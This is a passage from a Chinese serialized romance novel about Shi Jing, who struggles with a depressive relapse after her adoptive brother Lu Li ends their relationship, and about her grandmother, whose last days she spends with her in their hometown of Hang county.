眼泪顺着抬头的动作,从腮边落下。
欲望。
哈哈哈……
是欲望啊。
可现在,他连欲望都不肯给她。
她应该愤怒、应该绝望,甚至还应该扑上去质问他为什么,又或是再利用药物的副作用让陆礼愧疚,阻止他继续离开自己,但翻涌的情绪像是被堵住了,无法宣泄出来,死死堵在快要碎裂的心脏里。
此时的时憬,看上去愤怒到反而平静下来。
她抓起枕头,朝陆礼无力地扔去。
苍白的唇掀起:“混蛋…”
她跌跌撞撞地逃回自己房间,躲进被窝里,用力环紧胳膊,急促地喘息。
没事的。
时憬…
没事的……
他不要你了!
没事的……
陆礼他不要你了!
没事……
你这一生注定无人会持久地爱你!
不是——
你生来没有爸爸,妈妈也抛下你了,连你深爱的陆礼也受不了不要你了!
不是……这样的……
停下……
不要再说了——
她不是孤独一个人啊!
她有工作,有朋友,也有爸爸妈妈,还有老太太……
但这些都是陆礼给你的!
等他离开后,他们统统就会消失!
不会的……
不知过了多久,环紧的胳膊松开,她疲惫地睁开眼,眼底的挣扎越变越淡,耳边的另一道声音像是消失了。
世界变得安静,吞噬了所有强烈的情绪。
只剩下疲惫。
而这一夜,陆礼亦是无眠。
他听着隔壁的动静,自时憬回去后,就没有传出任何声音,安静得像是睡着了一般。
他克制住想要去看一眼,确认妹妹安全与否的冲动。
时憬应该拥有更璀璨的未来。
她理当被更好的男人疼爱,享受幸福的生活。
他短暂的温柔与纵容,对她而言,是迟来凌迟的利刃,都会伤害到娇弱的妹妹,这一次,他不能再心软了。
次日,陆礼起床后,下楼用早餐。
昨晚没睡好,早起时哪怕戴了眼镜,也挡不住眼底生出的血丝。
陆礼看了眼对面的座位。
时憬仍未起床。
在老宅的这几天,不用像在陆园里,一家人聚在一起吃早饭,最近几天她都睡到日上三竿才起来。
陆礼咽下一口鸡蛋,吩咐保姆给时憬留早饭。
保姆咦了声,道:“时小姐一大早已经出门了,说是提前去杭县收拾屋子,好让老太太舒舒服服的
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住着。”
陆礼愣了下。
老太太坐在单人沙发上织毛衣。
闻言抬头看孙子,“你们两个是不是又拌嘴吵架了?早上看着时憬的眼睛红红的。”说着,老太太无奈地叹气,“你也是的,一把年纪了还和小姑娘计较,把人气跑了,最后你不是还得担心?”
保姆忙道:“先生年轻着呢。”
老太太哼了声,对着人吩咐道:“小姑娘生气着出门的,你还不快打个电话过去哄哄。”
陆礼继续吃早饭。
神色分外平静:“时憬的性子被我惯坏了,一生气就往外,跑等她过几天气消了再说。”
老太太看了眼,不再说话。
反正时憬没拉黑自己。
让他们两个自己闹着去吧。
吃过早饭后,陆礼起身去楼上收拾东西,关上房门后,试着联系时憬。
电话拉黑。
微信拉黑。
短信发送失败。
陆少眉间狠狠皱起,气得几乎想冷笑。
他想起时憬刚来沙市时只会粘着他,在他面前一副又怕又怯的样子,他捧在手心照顾了九年,就因为昨晚那一段话,她一声不吭离家出走,微信电话统统不接,就为了报复他让他担心?!
这可真是他带出来的好妹妹!
陆礼捏紧手机,脸上的阴霾低沉得骇人。
当天下午,陆礼得知她只拉黑了自己一个,时时向陆母汇报自己的行踪。
开年复工的第一天。
陆氏集团总部上下无人不知,总裁心情格外恶劣,哪怕财务报表上的曲线图节节攀升,也没换来总裁和颜悦色,反而随着日子一天天过去,脾气愈发阴晴难测,连黄林每次进去汇报工作也提心吊胆,总裁办里的低气压让人都快喘不过气来。
而且陆少心情不好,更喜欢工作了。
底下的人为了跟上只能玩命加班。
虽然加班工资一毛钱都不少给,但耶耶实在受不了一开年不止要连上六天班,且每天都要加班四五个小时的高强度工作量了。
在放假的晚上哭戚戚的向时憬哭诉。
她说的最后一句话是‘时憬,你管管你哥行么……别来折腾我们这些牛马了!!!老娘实在吃不下了!!’
第59章 她在努力的自救
时憬握笔的手顿了下,在白纸上划出一道失控的线,在画面上格外突兀。
心脏闷疼。
但也只有那么一下。
她扯起嘴角,想要挤出一个笑容,表情做到一半时,才意识到电话那边的耶耶根本看不见。她放松表情,垂着眼皮,轻声道:“不好意思,最近我都在杭县忙,已经很久没联系我哥了。”
谎言。
是她拉黑了陆礼。
耶耶又激情吐槽了两句后才结束通话。
时憬放下手机,拿起橡皮擦去失手画出来的线条,表情漠然,眼底没有一丝从前的温和柔软,有些木愣愣的。
在杭县的生活十分充实。
白天她忙着改善楼房,东折腾一下西折腾一下,不让自己空闲下来,期间与工人、快递员接触时,她也会同人说笑,讨价还价,白天她像从前一样努力地活着。
到了晚上。
再好笑的综艺节目都显得呱噪,她害怕安静呆着,在完成工作后,重新捡起画画,有事一画就是一夜,等到晨光穿透床帘时,她才能在疲惫之下睡上四五个小时。
秦天川说她需要再次开始服药。
她平静地听从医嘱,每天都会和秦天川汇报下情况。
哪怕她再次开始服药,陆礼也没有再通过其他手段找她。
陆礼不会再来帮她了。
她以为世界崩塌后,她会一蹶不振、会崩溃失控,但当这一天真正到来时,她像是又被摁进冰冷刺骨的游泳池中,与恐惧一起生出的,是挣扎着也想要活下去的欲望。
原来……
她在努力地自救。
她还有事情要做。
她还想要活下去。
她开始刻意不让自己想起陆礼,把陆礼从身上剥离出去,像是把鲜血淋漓的自己关在玻璃瓶中,她以为会痛不欲生,但在药物的麻痹下,那些丰富的情欲都被隔在玻璃瓶之外,不再支配她的理智。
也就不那么痛苦。
只是偶尔从别人口中听到他的名字时,心脏会抽疼一下。
童宛也来过电话。
与时憬一团乱的生活不同,童宛过得尤为滋润。
她与季易身体契合,睡多了也生出些感情来,陷入热恋之中。老头子给她介绍的相亲男时不时约她吃一顿饭,两人天南海北的胡侃,竟然也有几分投机,这是来自于同一个圈子相近三观带来的融洽。就像她和季易,从不谈任何金钱相关的话题。
时憬问,她是什么时候开始心态转变的。
童宛沉吟了声:“好像就是从过年那会儿吧,他知道我和你关系好,透露消息给我开始?这人看着面相老实,还蛮心细的,说起来,这事还有陆少的一份功劳,让我在面对他时总算不再是充满煎熬。”
陆礼。
又是陆礼。
时憬放下手里正在套枕巾的枕头,错开话题:“忘记问了,大年夜那天你怎么会和他在一起的?”
童宛骂骂咧咧:“老头子停了我的卡!被扼住了经济命脉只能去吃顿饭应付下,谁知道他给了这么一个消息,看得出来他应该挺喜欢我,谁让本小姐长得美!”
电话里,童宛的声音活力四射。
像是一道炽热的阳光。
时憬安静地听着,跟着夸了几句童宛。
时憬:“之后准备怎么办。”
童宛:“凉拌,吊着呗!我是颜狗,对普通男人实在下不去嘴,我这辈子这么努力投生到童家,要钱有钱,要脸有脸,要身材有身材,坚决不委屈自己吃糠咽菜!相亲男年龄比陆少还要大,估计急着找人结婚,我吊的时间久了他说不定就觉得没意思自己撤了。哦对了,光是我在说话了,最近你怎么样,看你朋友圈的动态怎么跑去杭县了啊?”
时憬:“我家老太太也是杭县的,想回家乡探亲,我提前回来收拾屋子。”
童宛啧啧两声:“宝贝,你这整一个二十四孝好孙女啊!有需要只管吱一声,姐们能帮的一定帮!”
时憬:“吱。”
童宛没想到她真会吱,沉默两秒,“你属老鼠的?”
时憬:“咩。”
童宛:……
童宛:“我知道你属羊……请说人话。被你一打岔差点忘问了,你和那个费兰咋样啊?有什么进展吗?”
时憬:“他在追求我,我打算拒绝了。”
童宛倒没太惊讶,她这个
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姐妹被陆少保护得太好,而且有那么一个完美的哥哥这么照顾她,寻常男人她怎么可能看得上。
童宛鼓舞道:“进口料理不合胃口也挺常见的,没事,咱们是沙市人,还得是地道菜容易消化!”
时憬终于被她的这个比喻逗笑了一声。
紧接着听见童宛扼腕道:“如果有机会我也挺想尝尝进口料理的。”
时憬:……
“需要我把微信推给你么?”
童宛慎重的思考过后,十动然拒:“还是算了,我家季易是个醋缸!!要安慰醋缸又费钱包又费腰……”
闲聊结束,时憬挂了电话。
脸上笑容消失。
她装好客房的四件套后,想起来忘记拒绝费兰。
她编辑好信息,发送。
去楼下客厅继续画画。
拿起铅笔,还未落笔时,手机震动了下。
她探头看了眼,是费兰的回信,想约她见面。
时憬:【抱歉,我不在沙市,项链比较贵,不放心快递,等我回去后,再还给你】
直到深夜,费兰也没有回复。
她不会爱人,也不要去牵连别人。
吃了几天药后,失眠的症状消失,她开始嗜睡、盗汗,每天要睡十个小时以上,睡醒时睡衣都是潮的,胃口减退,这次的药副作用比上一次的更为明显,秦医生说一到两周症状会缓解。
等老太太体检结束,报告出来,已经是半个月后的事。
陆母在视频里说,老太太的体检报告比她的还要健康,又因快要去杭县了,老太太更是吃得好睡得好,人也看着胖了点。
时憬直笑。
陆母又问她在杭县钱够不够花。
时憬:“爸爸前两天又给我转了一次,现在小金库充实,足够让老太太滋润的度一个月的假。”
陆母皱眉,担忧地看她:“老太太有保姆照顾,倒是你过去半个月,看着又瘦了,有没有好好吃饭?”
时憬微笑:“可能是太久没回来了,有点水土不服。”她掩唇打了个哈欠,陆母看她困了,及时挂了视频,让她休息去。
第二天,陆礼就陪着老太太、保姆飞就近机场。
第60章 她在吃什么药?
时憬包了车去机场接人。
这几天杭县阴雨连绵,时憬穿着黑色过膝羽绒服,脖间围了条灰白相间的围巾,清瘦的脸在湿冷的阴雨天透着不健康的白,眼睑有些无力地垂着。
她站在阴沉沉的外廊下,瘦弱得像一阵风就能刮跑了。
陆礼从机场大门出来的瞬间,就看见了这样的妹妹。
眉心皱起。
他记得秦天川和他说,时憬状态还不错。
这幅样子,他称为不错?
简直瞎扯。
老太太也看见外廊下的小姑娘,叫了声‘时憬’。
站在外廊地下的时憬抬头,掀起眼睑看来,脸上缓缓挤出笑容,木愣愣的眼像是聚了焦,凝聚出动人的神采,她快步走来,又变回众人熟悉的模样,笑着展臂抱了下老太太,甜甜叫了声奶奶。
老太太嗳了声,脸上笑意满满,眼角堆起皱纹。
时憬松开后,挽着老太太仔细地瞧:“这是谁家老太太,容光焕发、精神抖擞的,染了头发、穿着新衣裳的,又时髦又好看的。”
哄得老人家眉开眼笑。
哪怕老太太上了年纪,但看着眉眼间的风情,时憬也能想象到年轻时的老太太是何等的美人。
她凑趣地悄声说:“我最近看了不少民国年代的小说,您在老家该不会有青梅竹马一生未——唉哟!”
还没说完,就挨了老太太轻轻一下。
老太太又气又笑地指了指她,“都敢开奶奶玩笑了,”她叫了声站在身边沉默寡言的孙子,“看时憬给你们教的。”
从机场出来后,这对兄妹就没说过一句话。
这是老太太有意让他们说上话。
时憬垂眸,没看他,语气稀疏平常地叫了声“哥”。
见了面,她的心脏又开始疼。
一下,一下的疼。
但那些丰盈的情绪都被隔在玻璃外,让她看上去还能冷静地面对陆礼。
陆礼的视线落在她消瘦的脸上,喉头滚了下:“这段时间她都在杭县,谁能管得了她。”
时憬恍若未闻。
她扶着老太太朝车走去,“杭县这几天降温,外面冷,我们上车再说话,从这儿开回家还要三个小时呢。”
保姆刚下飞机,听见又要坐三个小时,脸都僵了下。
老太太浑不在意,说车上聊聊天打个盹就到家了。
时憬租的是七座商务车,保姆和老太太坐第二排的单人座,陆礼刚准备去副驾,就被老太太叫住,“你坐后面去,个头那么高,坐在前面当着我看外头的景。”
陆礼无奈应了声。
男人弯腰上车,走到最后一排坐下,时憬贴在另一边坐着,低头看手机,两人之间的距离远的能再坐下两个人。
看起来她还没消气。
一路无言。
老太太起先还有精神看景致,后面的雨越下越大,她叹了口气,闭眼休息。
时憬握着手机,屏幕暗下。
头靠着窗户睡了。
车内分外安静,只有空调送风的白噪音。
陆礼才敢明目张胆地打量身边的女孩儿,她脱了羽绒服压在腿上,毛衣包裹着纤瘦的骨架,搁在黑色羽绒服上的腕骨和手指泛着刺眼的白,还有惊人的瘦。
短短半个月,她又瘦了这么多。
陆礼皱眉,低头发信息问秦天川。
屏幕亮了下。
【你去见小憬妹妹了啊?】
【很多药物服用初期都会出现食欲减退、消化不良的情况,身体慢慢适应后会好的】
药?
陆礼皱眉,手指敲字。
【什么药?】
可当他问出口后,心里已经有了答案。
秦天川的回答也验证了他心中答案是正确的。
昏暗的车内环境是最好的遮掩,他抬起手,温热的指腹似是想要触碰她消瘦的面颊,她睡得不安稳,紧闭的眼睫颤了下,抬起的手下落,不敢再靠近。
时憬一路睡得昏昏沉沉的。
车子停在楼房前,陆礼先下车,站在门边,撑着一把临时在机场便利店买的透明伞,遮住飘落的雨滴。
时憬只记得自己要下车开门,先下了车。
眼前是陆礼朝上的掌心。
寒丝丝的风扑在脸上,她垂下视线,拉起羽绒服帽子,自己扶着车门下车。
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>越过他,从包里拿钥匙去开门。
很快,保姆也扶着老太太下车。
一行人进入装修一新的砖瓦二层小楼里。
时憬出门前开了地暖,进门后暖意扑来,驱走一身湿冷的寒气,舒服得令人想要喟叹一声。老太太舟车劳顿,精神头明显不行了,一进屋就说想去房里睡觉。
时憬先带着老太太进一楼的主卧休息。
保姆去厨房,给几人煮了碗青菜蛋花面,老太太吃了后躺下休息,保姆收拾了碗筷也撑不住回房去了。
时值傍晚,时憬从老太太房里出来,余光中见陆礼还在客厅的沙发坐着,膝上放着打开的笔记本,手指落在键盘上敲击。她闭了下眼,穿过客厅上楼去。
“在杭县住得惯吗?”
身后传来男人低沉温和的声音。
时憬顿了下,并未回头去看,“这里是我从小长到大的家乡,怎么会住不惯。”
陆礼看着楼梯口清瘦的背影,楼梯口没开灯。
她穿着灰色毛衣,黑发长发披在肩上。
整个人几乎要融于黑暗。
“那怎么还瘦了这么多。”他尽量语气平和地询问。
“突然回来水土不服。”
她答得如此敷衍。
说着显而易见的谎言。
陆礼忍住质问,半晌后,兄长温和的嗓音才再次响起:“上楼早点休息。”
时憬:“离开前记得把楼下的灯关了。”
说完,她头也不回地上楼去。
这样疏离冷漠的妹妹,他并不陌生,这些都是药物引起的。
但他仍没有忍住给秦天川拨去电话,询问时憬是什么时候确认复发的,是不是那天视频会诊时发现的。
秦天川:“哦,你说那天啊,那天时憬妹妹情绪是有些低落,但看着还算稳定。是又过了几天,她在半夜突然给我打电话求助的,情况看着比较严重,我让她尽快回来复诊,她说在杭县有事回不去,我就让她去就近的大医院做了检查,开了药先吃上。”
陆礼听见每一个字从喉咙里挤出来:“她这次复发…和新年期间服用过紧急避孕药有关吗?”
第61章 陆礼,你TM就是禽兽
电话那头沉默一瞬。
随之爆出一句脏口:“woc!我说过多少次不要——”秦天川听到呼吸声沉重,狠狠揉了把头发,知道现在再骂这位陆少也没用,换了个阴阳怪气的口吻:“你自己爽了,让她吃了药,完了还在那之后和她提结束,你TM还是人吗?现在看着人小姑娘状态不对劲再来心疼她,晚了!陆礼,我告诉你,事情已经这样了,你TM别再去招惹她,接着这次机会你们彻底断干净!这次是时憬来找我的,她在努力的救自己,如果你不打算娶她进陆家的门,就别再去祸害她了!”
一连串骂完后,秦天川立刻挂了电话。
手机传来忙音。
陆礼摘下眼镜扔在一边。
想起今天在机场外她麻木的表情,想起她露在外面瘦得惊人的手腕,想起秦天川说她在努力地自救。
而他——
都做了些什么!
他抬手扇了自己一掌。
弓起背,脸埋入手掌里。
低声咒骂。
“陆礼,你TM就是禽兽。”
*
吃药后,时憬开始给自己定闹钟。
每天最晚十点必须要起床进食。
这一天她也从睡梦中被吵醒,醒来后脑子仍昏沉,身上的棉质睡衣被大量的汗水打湿,潮乎乎地黏在后背,她起床洗漱换衣服,一口气喝了两大杯温水,才缓解起床后的口干。
下楼时,听见楼下传来说话声。
她恍惚了下。
以为是自己昨晚又忘关了电视机。
等走到半路时才想起来,昨天老太太和保姆从沙市住过来了,陆礼也来了。
他现在应当走了。
“小姐下来了,菜刚烧好,正好一起吃中饭了。”保姆看她下楼,和蔼地招呼她赶紧吃饭,又说有些唠叨的说,早上不吃饭对身体不好。
时憬心不在焉地听着。
视线掠过餐桌。
看见陆礼正落座,注意到她的视线后,他看了眼,眉头皱了下,两指在桌上不轻不重点了两下,“这段时间你一个人住也都睡到这个点才起来?还不快过来吃饭。”像看不惯妹妹惫懒作息的兄长,语气严厉。
不再似昨天那么温和。
时憬的大脑麻木而迟缓,对所有人的情绪感知也变得麻木,不再似之前那么敏锐,她甚至无力去思考陆礼为什么还在这儿。
她拿起筷子,低眉吃饭。
默不出声。
只知道心脏时不时会刺痛一下。
老太太看了眼严厉的孙子,沉默又消瘦的孙女,夹了块咕咾肉放在时憬碗里,温声道:“这些天辛苦你了,把这栋老房子收拾得这么好,这几天你好好休息,不用管我,我就在附近走走,找老邻居聊聊天,要出去玩就包辆车。”
时憬:“我也很久没回来了,这次正好和您一起走走。”
同老太太说话时,她语气柔软,不再呆板。
老太太没再拒绝,又给孙女夹了块糖醋排骨,“多吃点,瞧你瘦的,回头你妈见了还以为跟着我受苦来了。”
时憬配合着轻笑了声。
眉眼弯弯的,模样乖巧。
一如她从前的在长辈前的模样。
陆礼忽然冒出一个念头——
这些年她在陆家、在外人以及他面前那些乖巧又招人喜爱的模样,究竟有多少是真的?有多少是像现在这样假装出来,真实到能骗过所有人。
他眼神晦涩,喉头堵塞。
直到老太太叫了他一声,陆礼藏起所有情绪,“怎么了?”
老太太:“我这都好好安顿住下了,你也能向你老子交代,什么时候回沙市去?就早上这一会儿电话会议都没停过,吵得我脑瓜子都疼。”
陆礼:“订了下午四点的飞机,吃完饭就走了。”
祖孙二人说话。
陆礼分了一半的神在对面的妹妹身上,看她筷子夹着土豆丝一根根地吃,像是小猫一般,全然不见从前的好胃口,虽然知道这是因药物导致的食欲不振,但还是忍不住皱眉。
这种吃法,能胖起来才怪。
动手又勺了一碗汤放在她手边,“记得把汤喝了。”
时憬握筷的手顿
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了下,眼睛没抬一下,低低应了声好。
兄妹俩看着怪客气生疏的。
老太太无声叹气,不知道这两个孩子究竟为了什么事情吵架,到现在还没和好。
吃完饭后,陆礼收拾行李。
时憬倒了杯水吃药。
“时憬,在吃什么药啊?身体哪儿不舒服?”老太太见她刚吃饭就吃药,连忙问了声。
时憬才想起来老太太和陆礼都还在客厅,惊醒一般,把药板塞进口袋里,“是胃药,随餐服用,前几天贪嘴吃坏了肚子。”
老太太点了下头,“这段时间你都跟着我们吃三餐,正好养养胃。”
保姆也应和着说,让她想吃什么菜就说。
陆礼沉默地看她说谎不眨眼。
轻而易举就把老太太骗了过去。
老太太依旧在为闹别扭的兄妹创造破冰的机会:“吃完饭我回房歪一会儿,时憬,去送送你哥。”
时憬嗯了声,朝门口走去。
还未拉开门,听见陆礼清冷的嗓音从身后传来,“不用了,外面还在下雨。奶奶,我先回去,下个月我再来接你们回去。”
老太太应了声。
时憬拉开门,给他让出路。
“走了。”他从面前经过,低声说了两字。
时憬反应迟钝,男人已经从他面前走过。
单手撑着那把透明伞,步入阴雨连绵之中,走得如此爽快。
时憬看着那个背影,胸口的疼痛密集了些。
她被关在玻璃罩中,触及不到那些翻涌痛苦的情绪,但她依旧看懂了这两日陆礼的冷漠。
你看啊,他甩开自己后,迫不及待的离开。
在之前他还口口声声说,自己永远会是他的妹妹,现在连看都不愿看她一眼。
原来那些话都是骗人的。
这些年他早就厌烦照顾任性妄为的她了吧?
幸好……
她没有信过。
幸好……
她感受不到绝望。
只是胸口有些不舒服。
睡一觉就好了。
没事的。
时憬。
第62章 老太太
杭县的阴雨又连绵了两日才停。
老太太有讲究,下雨天不登门访客,就在家里和保姆收拾带回来的各种伴手礼,或是坐在沙发里,指着一处地方,絮絮叨叨能和时憬说几十年前的往事。
自时憬到陆家,很少听老太太讲从前的事,甚至于老太爷的事情也很少提及,对陆父也不太关心,只在乡下关起门过自己的日子。
但自从回了杭县,老太太未在小辈面前提起的过去仍历历在目,肯定是时时想着,才会如此清晰。
但过往里只有年轻时的见闻。
没有老太爷的存在。
时憬虽有些好奇,但没有追问。
等到雨停出太阳这一日。
老太太吃了午饭,臂弯里挎着个竹篮,领着时憬去认老邻居。
但这座随着岁月老去的镇子里,住的大多都是外来人,只有极少几家是本县人,都已认不出老太太。时憬看着老太太脸上的欣喜一点点黯淡,最后都藏在褶皱中,回去时连背脊都佝偻着。
“是都搬走了…”老太太呢喃着,视线扫过一户户门,“搬走了好啊,活着就好,当年……是太难了……”
矫健的步履变得蹒跚。
老太太忆起当年不愿回想的苦,眼瞳渐渐浑浊。
时憬从老太太的叹息中,听出了其他意思。
老太太不愿意承认,时憬也不会去故意提及,扶着老人家,柔声道:“奶奶,我买了明天评弹的票,我们一起去听,好不好?”
“评弹?”老太太笑了笑,“好啊,明天去听。”
时憬买的评弹场次在杭县颇为有名。
她带着老太太坐在前席。
慢笃笃的唱腔,藏着说不尽的水样般的柔情,伴着琵琶声,时憬没听过评弹,她离开杭县时只有十五岁,虽还会说杭县话,但这些唱调她实在听不懂,只觉得婉转好听。
一曲落,掌声雷动。
回家的车上,老太太望着窗外的景,呢喃着变了。
连带着晚上胃口也不好,吃了几口就回房休息。
时憬以为老太太是触景伤情,现在的杭县已经和她记忆里的杭县不同,不敢再带老太太出去逛。
一日午后,她搬了小板凳坐在屋前晒太阳,手里打着毛衣,与几个晒太阳的老人家闲聊,笑声一阵阵传入小楼,时憬才松了口气。
屋前。
说笑闲聊过后。
一个老太问:“你不是本地人吧?”
老太太愣了下:“我怎么不是本地人?”
老太:“听你口音都不像我们这片地,穿得又那么时髦,怎么可能和我们一样是乡下老太太。”
老太太攒起笑容,似乎开心极了。
“出去几十年了,口音都变了,我认识的人也都不在了,是我回来得太晚了。”
老头老太闻言好奇,纷纷问起旧事。
聊得投缘,老太太还请他们进家里做客。
时憬从未见老太太这么开怀过。
晚上睡前,还让时憬找评弹的视频放给她看,她靠在床上,闭着眼,微摇着头,跟着一起哼,神情放松又自在,全无前几日的失落。
老太太还点评:“这两人唱的才对味,前几天听的那些都不对。”
时憬实在听不出区别来,为老太太的开心而开心。
这一晚后,老太太又有了精神要出去逛。
兴致盎然地把杭县的景点都游了一遍。
在古镇闲逛的这日午后,天气暖和,游人如织。
路上有不少游客头上都顶着一圈塑料花,穿着影视剧里的古装,看得老太太直皱眉头。
“都是些什么乱七八糟的!”
时憬连忙嘘,笑着解释说这是最近时兴的游客打卡方式,叫簪花。
“簪花啊。”老太太嘀咕了句,看着眼前陆续走过的年轻簪花姑娘,又看了眼在自己身边坐着的时憬,从头到脚,只有一双雪地靴是棕色,其他都是黑漆漆的。
“你也去,奶奶给你出钱!”
老奶奶定了主意,就拉着时憬去找商家。
时憬:???
“不是,奶奶,您刚才不是还说什么乱七八糟的么?”
老太太笑眯眯地看她:“你扮上就不是乱七八糟的。”
时憬:“……”
她只好受下老太太的这份双标。
老太太实在太期盼看她簪花,找了家最顺眼的店家,开口让他们都用鲜花,又带着时憬挑衣服,挑了件青色旗袍,配了个兔毛披肩,簪的花由老太太手把手指定,甚至连
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妆容都不准画重。
老太太要求多,又细,店家不太乐意。
时憬哄老太太高兴,用了钞能力。
店家一改态度,客客气气地请他们去后堂那边的打扮,那儿还有个小亭子,做完造型正好还能拍照。
折腾了两个小时。
妆造完成。
老太太握着她的手,目光爱怜地在她脸上细致的扫过,像是怎么看都看不够似的,“我们小囡囡真漂亮啊。”她的手指细细地抚过时憬头上的鲜花。
阳光照在老太太的眼瞳。
泛着琥珀色。
这一瞬,时憬下意识觉得奶奶看的不是她,而是在透过她看另一个人。
而且老太太从未叫过她‘囡囡’。
这是杭县对小女孩的爱称,时憬也曾是时母口中的囡囡,但老太太一次也没有这么叫过她。
“奶奶,您叫我么?”
老太太笑容如此温暖,像是看着一个珍宝,“那时候我比你还要小些,缠着阿爸给我采花戴。”她喃喃低语,“真好看啊,小囡囡戴鲜花真好看。”
阳光偏移,从她的眼瞳撤离,琥珀色黯然失色,蒙上一层浑浊的灰。
有一种强烈的情绪扑在禁闭她的玻璃罩上。
她触及不到。
只是心跳快了些。
这一天老太太极为尽兴,晚上还让保姆温了米酒来喝。
老太太抿一口米酒,就说几句往事。
说自己以前是十里八乡的美人,爱采了花戴头上。
说杭县和她记忆都不一样了,越变越好了。
又说她终于逛遍了一整个杭县,能和你们说道说道了。
后面的话越说越快,连时憬都听不懂。
时憬小声问在旁打瞌睡的保姆,“阿姨,奶奶在乡下住时也这样么?”
保姆打了声哈欠,“可能是今儿高兴?也就过年那会儿说能回家时她这么高兴过一回,抱着一个小箱子嘀嘀咕咕了一整夜,就要数今天最开心了。”说吧,保姆看了眼时间,哎哟了声,去扶老太太,像是哄孩子一样把人哄回房间睡觉。
时憬药效发作,整个开始发懒,思绪也迟钝。
没有感知到老太太的异样。
这一夜后,老太太再也没有起过床。
第63章 大限将至
隔日,老太太本来说要去爬山。
时憬起床后,发现客厅里没老太太的身影,去门外晒太阳的地方找了个圈也没见人。
遇上保姆买菜回来,才说老太太今天起床后就说身上累,可能是这几天玩得累到了,不出门了,打算睡懒觉。
时憬去主卧看老太太。
老太太靠在床头,闭目养神。
看时憬探头,还和她说了几句话,听着声音的确有些无力,提议说要不要去医院看看。
老太太摆手,说休息两天就好,把时憬赶了出去。
时憬真的以为是累到了。
直到第二天一早,保姆眼圈发红地上来找她,让她去看看老太太,手里还端着一碗清汤挂面。
时憬匆匆洗漱后下楼去。
老太太躺在被褥里,眼窝凹陷,眼瞳浑浊地看来。
时憬迟钝地意识到什么。
进门时跌绊了下,挤出笑脸,握着老太太温热的手,撒娇道:“阿姨都和我告状了,说您不好好吃饭,您在这样,我就要给爸爸告状了。”
老太太怜爱地看她。
苍老的嗓音在房间响起。
“你叫他们……都来吧……”
时憬猛地怔住,脸上骤然失色。
老太太却缓缓笑了,那么和蔼可亲,催促她:“快去。”
时憬听见身后传来一道刻意压低的啜泣声,回头去看掩面落泪的保姆,“不许哭!”说着,她连忙转过身去,“您身体不舒服,我送您去医院,这就叫救护——”
“时憬,听话。”
老太太打断她,又吩咐保姆去衣橱里找出来一件藏蓝色的旗袍,帮她换上。
与时憬前天穿的那件颜色相近。
但保姆捧出来的这一件显然不是新的,衣领磨损发白,胸前的珊瑚盘扣颜色发淡。
原来……
原来老太太早就准备好了…?
时憬不敢继续听下去,跌跌撞撞的出了门,颤抖地拨出电话,眼前一片光影错乱,耳边是重复的机械声,四声后,人声响起。
“时憬?”
陆礼——
“怎么了?”
你们快来——
“说话?”
她张合着唇,却听不见自己的声音,她靠着墙壁,身体下滑,极力发出嘶哑的哭声:“老太太叫你们……都来……”
电话那头问询声顿住。
之后陆礼说了什么,又让她做什么,时憬一个声音都听不见,更不知道电话什么时候挂断的,她看着屏幕上跳出的文字。
【救护车很快就到】
【我和爸妈坐最近一班飞机过来】
显示着陌生号码的信息一条条跳进来。
有条不紊地告诉时憬接下去她该做什么。
对…
老太太前不久才做过全身检查,妈妈还说结果比她还要健康,不可能这么突然的。
卧室门打开,保姆走出来,眼眶通红:“老太太让你进去。”
时憬扶着墙起来,擦干眼泪,“阿姨,您先收拾一下东西,奶奶的身份证、医保卡都带上,还有外面冷,带一件厚外套…救护车要到了。”
保姆哽咽一声应下,没多说其他话,转身开始收东西。
时憬进了屋,在床边蹲下。
“我给陆礼打了电话,爸爸妈妈都在来了,等会儿救护车也快到了,我陪您一起去医院。”
保姆替老太太梳了头发。
油光滑亮的头发紧贴头皮,看着利索又精神。
她摇了下头,轻声吐词:“不去。”然后目光巡回着扫过这间全然看不出曾经痕迹的屋子,眼中生出星星点点的笑,“我要在这儿等着,等他们来接我…”
“他们很快就来了……在坐飞机来了!”时憬紧紧握着她的手,可老太太不再说话。
不知过了多久,救护车声音由远及近。
保姆迎了人进来。
老太太像是又清醒了,口齿清晰地拒绝。
时憬哭着求老太太,保姆也在旁边跟着劝,屋子里都是女人的哭泣声,乱成一团,老太太格外平静,让时憬给陆父去电话。
“你肯来送我……我也愿意全…了这辈子母子的情谊。”
“你们陆家还想困…我多久。”
“连死…在哪儿都不能如我的愿…吗?”
老太太气息微弱,神情格外平静。
这三句话换来一屋子的死寂。
时憬不敢置信地看向床上之人。
困在陆家是什么意思?
陆父在电话里沉默后说了句什么,老太
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太把手机还给时憬,似是累极了闭上眼。
时憬抓起电话,发现已结束通话。
爸爸妥协了?
不送老太太去医院了?
医生的手机响起,接通后低声沟通两句,转身迅速离开。
时憬的视野被眼泪彻底模糊,她蹲在床边,握着老太太的手,眼泪一滴滴掉在皱纹纵横的手背上,“奶奶…您答应了我还要去爬山的,我们还要去坐船的…”
老太太对陆父时有多平静,对眼前哭泣的时憬就有多疼惜,“我食言了,别哭……”
“我不该带您来杭县……是我错了……我们回去好不好?”
老太太眼中有愧疚闪过。
她利用了这个善良的孩子。
九年前她也以为自己要熬不住了,为了回杭县与儿子翻脸,后来这个孩子来了,瘦瘦小小的,像是被世界抛弃了,还是从杭县来的,无父无母,无依无靠的被突然带到陌生的城市,进入陌生的家庭生活,心中不知该有多恐惧无助。她想救这个孩子,就像救当年的自己。
九年过去……
她太老了,这回是真的熬不住了。
她开口,儿子肯定不会同意。
但时憬不一样,时憬细心地察觉到她的消瘦,时憬也是杭县人,她善良又心软,只要能说服孙子,孙子就能说动儿子,自己才能顺顺利利地回来。
“傻孩子……”她抬起手,手掌有些无力地想要触碰时憬的脸颊,在快落下时,被时憬托住,“我的身体自己知道,不回家……可能都撑不到现在……”
时憬的眼底通红,她摇着头,不愿相信这些。
前天还好好的,怎么一夜之间就变成这样。
如果不来……
老太太还能健健康康地活着。
她的身体体检都那么健康!
这些都是奶奶骗她的!
“前天您还和我去簪花了……您还夸我簪花好看……晚上您还喝了酒……您不能这样……”哪怕药物让她亢奋起伏的情绪变得麻木,但眼前将要离开的生命让她恐惧,手止不住地颤抖。
老太太似是想起了什么。
唇边微扬起了些。
眼神涣散。
时憬惊得哭喊大叫:“奶奶——奶奶——”
第64章 继续唱…我要回家了
从门外传来急促的脚步声,去而复返的医护人员冲进来,毫不费力地推开时憬,开始进行紧急抢救,一阵混乱后,架起来的监护器上维持着微弱的生命波动。
医生看了眼屋子里年轻的小姑娘,叮嘱道:“你就是时小姐吧?和老太太多说说话,她现在就靠着一口气吊着。”
时憬的身子颤了下。
她眼眶被眼泪泡得红肿,仿佛随时都要会陷入绝境,软弱的一塌糊涂。
